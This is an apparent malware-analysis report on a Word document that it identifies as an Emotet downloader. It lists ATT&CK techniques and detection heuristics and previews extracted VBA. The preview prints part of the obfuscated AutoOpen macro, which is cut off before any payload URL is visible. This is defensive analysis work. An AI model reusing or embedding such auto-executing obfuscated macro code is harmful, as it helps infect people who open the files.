MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains critical heuristics indicating the presence of VBA macros and a Shell() call, strongly suggesting malicious intent. ClamAV detection confirms this, identifying it as Doc.Downloader.Emotet-6884000-0. The AutoOpen macro is designed to execute automatically, likely downloading and executing a second-stage payload. The presence of the 'macros.bas' file and the Emotet family attribution further support this assessment.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-6884000-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6884000-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17821 bytes |
SHA-256: fc497c24ecd12d29cd7918b42f041225b6349766121d4111f0ffb877e3c118cd |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "qjCmQBTjrof" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Dim ILXLC(2) ILXLC(0) = Left(QojmHSl + SKtfPoTHrzdrjQhd + KLGqUlt, 942) + InStrRev(Ctmjsji + HDEKuJjoGqkHHzmovDK + LwjJVw, hKiiGAM + BFqzvvtEtupFQzjzZKNpGDD + zAzaHv) + Left(fVQBq + FFzbthBVOIooPrwXFcuTi + sBQivj, 116) + Left(AGbDowf + wGNpvYDSzQLlioAFSS + TijnPuj, 145) ILXLC(1) = InStr(IjCBCFoJ + GDZPqJzzZfsaKLnJJjrT + jPcluQJ, bQFUw + kJXRQJIstAAjhKlKuwND + RRwdFr) + InStrRev(nzhwz + kUtBPIbMjvilLYNvwri + BJzvihm, nKcTBt + qjwJJFrcbjCOfGzFLvsft + wBwCE) + InStrRev(XAzidsE + FFDJKHIMCnBfzDDGqSZWPVr + FdGBF, ZpZwqsIq + frDvfCtPOfjooScivmwRKi + AQzJj) + InStrRev(pAcGabN + AHqAlfNmHGtjasRsiREw + zSAzH, jFQCnNQ + LicNpajpJaZwLaul + nTzXJd) Dim dDlXjF(2) dDlXjF(0) = InStrRev(BQtsRJ + NOjUqMSHoYOcpfsMFpwo + rZdsVvd, KuzpzQ + PrjGrlRbYzOZMtznol + vsKikibt) + Left(iiznTA + btWfdawVvAczVdwhhAnzf + JfcYaw, 513) + Right(sVPOj + sfsSXNzBFTftrdFRQtM + BBKkc, 411) + InStrRev(wkuUmjBw + XUfuDWwmIRRWjKVCVWjG + HtZEuEV, pAVGwo + iqjjONJvftEGqOvcYasE + GrJWJXO) dDlXjF(1) = Left(zPpztj + bZbmJmKsCLMXqFHWAZII + itwVOC, 934) + InStr(QiVozs + RUDWAdFulJTRwRbFn + AODGZHO, dcOrn + hlUPTQmtwNYXVmjToSthVr + jmVcdUT) + InStrRev(SZKkbK + uptpqtsUminEqpGGLU + DbTQv, NIUEbBj + tcXJhoGPBUuVENlqNXc + lZWTAXW) + InStr(RMiwa + VDwtHoDGvQQtYRuYHRmPw + rDsfLk, rUjDWwi + EGGNfzCCCOwioAznLajjAR + kcXbZwZL) Dim zMEwc(2) zMEwc(0) = InStrRev(BiIjfpc + HmUaFvwCaibowKouljPw + znYREmvb, nqPUDOBk + GMjzDVBOKsntbFlGnjzJH + uUqXhiw) + InStrRev(nGYOjlNN + zzoOuoQdvGCZiRrrdNrzi + BWXBV, IWoGGvjQ + AlkhuzIWWrlHvsmuF + UNQHcU) zMEwc(1) = InStrRev(IMMKwwiU + PwzPzXozKCwWbRWQmU + aOiYwDK, iUqRaE + tnUQsLqRViLEVEbSTzRlp + SBFCAMG) + InStr(hSOiDoHF + BTJPOzBzubBfsoMpUR + bXJDqwi, EKvKI + DzKJdRjnUKAvQNNwsFvLESC + UWDkCVlV) Dim lQopB(1) lQopB(0) = InStrRev(zFPth + AHjCHjaFSiIlKBJHiSwsjP + AkozUSM, lfUPavKV + YtvwpMaUCOCnRtRUOpY + XuLrI) + Right(XZWRtEow + wtnhisDVpsBtDqYvBiL + rcQzAV, 341) Dim UrfjYo(2) UrfjYo(0) = InStrRev(WIhvW + STOPDjmwZpGViYaR + UsRjs, DOSVw + jHBOzJEHjiaCBdEHHwbz + qzjkH) + InStrRev(iYoXW + PHnliAqKaFzRiEJVDIKV + OYwiMFmJ, zLqPftzo + JCVoqkNHJFmqbVLwUS + wqWOupK) UrfjYo(1) = Right(MSqLDI + rlBbnNVwEXnpVXYzT + MzAjZY, 900) + InStrRev(NXWdhm + dBJwlVjYGVofGYZEbD + KojKQTKd, PURMUb + DARZStCQFIhcEwJFcEMO + UPpDtDw) + InStrRev(AnikWmHO + VCrKjOLVhapnzdNwX + mjEAa, SVqKIHjd + qfscNJBpwYJfDKPLF + zXDLkjd) + InStr(UZDIs + YLuwkRObaiEzwiDfUY + dYHsEjq, ubqALjC + ukJBYkCaZENoaRacZK + TrJVdSn) Dim zMdRa(2) zMdRa(0) = InStr(WHBJQCZG + ZuFZHzwqJOOHbCPcjGzo + RIPUQ, EJsts + OISkSkIAWpAKdkFiTqoF + rLKzru) + InStrRev(ZOYoOWq + rtfQHZwSnNJzoKbZz + cFZkPMY, oVZzMwJ + qAZGVRZWADuRANRqWKHYHE + abqqBroH) zMdRa(1) = InStrRev(VkIKb + HoXVLjXSNbicRCzMjKCCc + QvpiL, zAPCSP + SjiNYajTiLOJOEluQzijB + cRmtKk) + Right(rSYPVjj + DAVHkdIrOfvkzGzSjuU + YWlNiGRj, 450) + Left(BWJrVIl + mpHTuulOvGjYOJQdkww + TcwzG, 934) + InStrRev(AFKjO + ksfUcZcwadLsHjREzSvQfS + iTOzzqzs, bvdWzA + kfBRjUSSzpbzcOJka + uOrHOV) Dim SvsDhr(2) SvsDhr(0) = InStrRev(mthoYw + RZqBHqzwPknawkpjt + UNhwWqsq, KapoiZWc + FRGIpOnljRJhVTIUaFHT + AiRRLSE) + InStrRev(qDHZJHCH + iAtTkCNHEqzjpfWTs + utiBVu, XzVFJ + OhPFEKztEpsTctzRGzojj + vjsbtI) + Left(QpDnLQj + wjBfkrJIrUGawiBdERLjnk + kFlBWDDm, 12) + Left(KpjwkQk + rUtVPGrTzNvYAYWwDWLikHq + SaQDIV, 998) SvsDhr(1) = InStr(PmQLj + vnmoKNalZTfmYRWAJj + DAIJHEir, hpUDz + NqRiBUiENwoirAjoCSGV + jVEStUR) + InStrRev(wtsEB + FFqjCESETULIYNBUzZl + hdYuXswh, MAiUic + OZAGDlpZChjETwwfXsLXn + LGpsWrw) + InStrRev(jsaanF + tAbUtDSFzfwCBTajjm + kUvNFbzs, winbPRCJ + uQnUhfGMWPaMzzqbrGFN + XZbEI) + InStr(LPvUhaj + sfviXclPTMhpCkQJ + BEpoOzPW, JBoNZS + FzpooUsEFRzJXTaFpIUMOw + juzPk) fANEWSKqkBbZdU (KeyString(KrVIV + wvqzwXa + 15 + 4 + 48 + InGraCi + RZzZir) + iXBjm + oFTGXX + KeyString(JjdiB + IICjEOj + 17 + 5 + 55 + zrzpDr + zqCUic) + AlVZTL + aZXk ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.